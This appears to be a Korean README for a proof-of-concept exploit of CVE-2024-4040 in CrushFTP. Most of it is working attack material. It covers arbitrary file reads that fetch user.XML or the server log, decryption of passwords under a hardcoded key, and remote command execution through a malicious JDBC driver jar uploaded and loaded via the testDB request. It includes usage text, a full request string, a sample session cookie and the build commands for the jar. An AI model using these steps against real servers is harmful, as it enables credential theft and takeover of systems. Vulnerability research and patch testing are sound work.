
CVE-2024-4040 PoC
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py와 decrypt.java를 통해 비밀번호를 획득하고 복호화합니다. 간단히 말해 key가 하드코딩되어 있기 때문에 복호화가 가능하고 임의 파일 읽기가 가능합니다.crushadmin이 존재하지 않는 경우 CrushFTP.log를 가져와 계정 정보를 참조할 수 있다는 것입니다.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML 파일을 획득하려고 시도합니다.crushadmin을 사용합니다.decrypt.java를 사용하여 비밀번호를 복호화합니다.--shell 기능은 RCE 이후 결과를 편리하게 보기 위한 것입니다. 아래 방식으로 jar 파일을 업로드한 후 --jar-path와 --headers를 지정하면 명령 실행 결과를 볼 수 있습니다.
--headers에 로그인 후의 Cookie를 반드시 제공해야 한다는 것입니다. 예: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path 기본값은 /tmp/mysql_cmd_db_user_final_with_echo_base64.jar이며, 다른 위치에 있다면 경로를 지정해야 합니다. 이론적으로 상대 경로도 가능하지만 절대 경로를 권장합니다.exit을 입력하면 됩니다.python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
User Manager를 찾은 후 왼쪽의 사용자를 클릭하고, 매핑하려는 폴더를 User's Stuff로 드래그한 다음 권한을 조정합니다. upload는 반드시 체크해야 합니다.


testDB 기능이 있어 jar 파일과 driver object를 직접 지정할 수 있고, 업로드가 가능하여 이 두 가지를 연결하면 RCE를 할 수 있기 때문입니다.command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id입니다.db_user 매개변수에 base64로 인코딩된 명령어를 전달하면 실행됩니다.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *